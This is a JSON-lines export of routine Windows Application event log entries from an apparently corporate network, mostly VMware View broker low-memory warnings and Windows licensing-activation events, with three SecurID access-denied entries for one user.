{"@timestamp":1650246371378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Apr 18 03:46:11 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168568}}
{"@timestamp":1650275978415,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168569}}
{"@timestamp":1650289576156,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Apr 18 15:46:16 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168570}}
{"@timestamp":1650332780171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Apr 19 03:46:20 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168571}}
{"@timestamp":1650338631178,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168572}}
{"@timestamp":1650375984120,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Apr 19 15:46:24 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168573}}
{"@timestamp":1650401884196,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168574}}
{"@timestamp":1650419188230,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Apr 20 03:46:28 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168575}}
{"@timestamp":1650459855857,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168576}}
{"@timestamp":1650462392247,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Apr 20 15:46:32 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168577}}
{"@timestamp":1650467985863,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/10/10:15:19:45;LastConsumptionReason=0x4004f040;LastNotificationId=VolumeRenewalRequired;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=502ff3ba-669a-4674-bbb1-601f34a3b968;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168578}}
{"@timestamp":1650467987008,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12288,"custom_data":{"EventData":{"Binary":"0000060063BAF54F3E46CB1386C0C0E46649D422C3431512973769C27AEFADFC1E80634FE2ECEE6B9D0F908B6CE412E5A7B8EBD1365BE95551F91D21EF429C203251A1FCAE78D837CBAE671CC1017EB5739EB50D930574EEE489E1D8B59629B1119DBF8AFB61A15544229C92960306734279EAB79298702B2AA8C190D046E733FCA6537CE0ACD0969E0445F97D8640E580987459CA7E285748C6277554AF939C7D823AFD12FBE5D6F289BA2FFFB9BC1E145E9D35A72D1BE6DD1ADBCC0CB6C0F9BE91D49E9DBEE78945F23C8164A7BB69DEFCDB0A12EA18C2C6185E43B62DA1408F74EAACAE71E80463194CF0384A3A4B4AB26DCF98D3CCD14F1E50B482C168391878EFFF","Data":{"#text":["0x00000000, 0x00000000, eng-infrasrv101.engineering-ac.de:1688, 66fdcf75-989c-462d-9cda-ff5474d65922, 2022/04/20 15:19, 0, 1, 249120, 21c56779-b449-4d20-adfc-eece0e1ad74b, 5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168579}}
{"@timestamp":1650467987135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12289,"custom_data":{"EventData":{"Binary":"00000600B13DC47AA38CBD18CD286FE4E48D007B4135E4D40A1F11EFE2DE9D6A71005FE22DC0F6ADF50B68D6B6933E85F5C96F4FA3864ED4C54BF4E804FC674D61C1E00F6C7A574BA96F704B56AA3F090F74EC1437B87946C418B799E19D8ABE7894BC237BDBD4585419550C6E607B0C4705FAF322A0C84FFE243A8539DC6A511DB1198A5D2A36B537234861F759EF2AF9C4F77324636CD82315E2FEEA33D14F5B955CEFCD833AC2EDE8774F64B1CF5B66B4B853DEF361F22EF9ACCB9C81F74D4AECFA191925BFA8D2088EEE338EE6F8C061D904568A6A2119B7B47EDED8BDEC70B019281F176AB00F4634FD67714E730D16BF8F26E701F285286A6BC98735B87BA3A50D","Data":{"#text":["0x00000000, 0x00000000, 1, 0, 50, 120, 10080, 2022/04/20 15:19"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168580}}
{"@timestamp":1650467987270,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["ACLUIFileFolderTool-IsSecurityUIEnabled","100"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168581}}
{"@timestamp":1650467987272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-IgnoreDeferredActivation","500"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168582}}
{"@timestamp":1650467987274,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["(Security-SPP-Reserved-EnableNotificationMode) ","55c92734-d682-4d71-983e-d6ec3f16059f","21c56779-b449-4d20-adfc-eece0e1ad74b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168583}}
{"@timestamp":1650467987330,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168584}}
{"@timestamp":1650467987425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168585}}
{"@timestamp":1650467987447,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=502ff3ba-669a-4674-bbb1-601f34a3b968;Action=AutoActivateSilent;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;NotificationInterval=1440;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168586}}
{"@timestamp":1650467987685,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/10/17:15:19:47;LastConsumptionReason=0x4004f040;LastNotificationId=Cleanup;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=379cccfb-d4e0-48fe-b0f2-0136097be147;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168587}}
{"@timestamp":1650467987709,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=379cccfb-d4e0-48fe-b0f2-0136097be147;Action=CleanupState;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168588}}
{"@timestamp":1650468017759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-04-27T15:19:17Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168589}}
{"@timestamp":1650505596253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Apr 21 03:46:36 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168590}}
{"@timestamp":1650523168710,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168591}}
{"@timestamp":1650548800288,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Apr 21 15:46:40 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168592}}
{"@timestamp":1650586421488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168593}}
{"@timestamp":1650592004663,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Apr 22 03:46:44 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168594}}
{"@timestamp":1650635208685,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Apr 22 15:46:48 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168595}}
{"@timestamp":1650644273139,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168596}}
{"@timestamp":1650678412696,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Apr 23 03:46:52 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168597}}
{"@timestamp":1650706025951,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168598}}
{"@timestamp":1650721616714,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Apr 23 15:46:56 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168599}}
{"@timestamp":1650764820736,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Apr 24 03:47:00 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168600}}
{"@timestamp":1650766457828,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168601}}
{"@timestamp":1650808024760,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Apr 24 15:47:04 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168602}}
{"@timestamp":1650824129577,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168603}}
{"@timestamp":1650851228769,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Apr 25 03:47:08 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168604}}
{"@timestamp":1650885882244,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168605}}
{"@timestamp":1650894432525,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Apr 25 15:47:12 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168606}}
{"@timestamp":1650937636813,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Apr 26 03:47:16 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168607}}
{"@timestamp":1650947214878,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168608}}
{"@timestamp":1650951474876,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_USER_AUTHFAILED_SECUREID_ACCESS_DENIED\nSecurID access denied for user horvatht\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=AUDIT_FAIL\n\tTime=Tue Apr 26 07:37:54 CEST 2022\n\tModule=Broker\n\tUserDisplayName=horvatht\n\tSource=net.propero.portal.filters.SecurIDAuthFilter3\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168609}}
{"@timestamp":1650951847862,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_USER_AUTHFAILED_SECUREID_ACCESS_DENIED\nSecurID access denied for user horvatht\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=AUDIT_FAIL\n\tTime=Tue Apr 26 07:44:07 CEST 2022\n\tModule=Broker\n\tUserDisplayName=horvatht\n\tSource=net.propero.portal.filters.SecurIDAuthFilter3\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168610}}
{"@timestamp":1650951901291,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_USER_AUTHFAILED_SECUREID_ACCESS_DENIED\nSecurID access denied for user horvatht\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=AUDIT_FAIL\n\tTime=Tue Apr 26 07:45:01 CEST 2022\n\tModule=Broker\n\tUserDisplayName=horvatht\n\tSource=net.propero.portal.filters.SecurIDAuthFilter3\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168611}}
{"@timestamp":1650980841297,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Apr 26 15:47:21 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168612}}
{"@timestamp":1651010107452,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168613}}
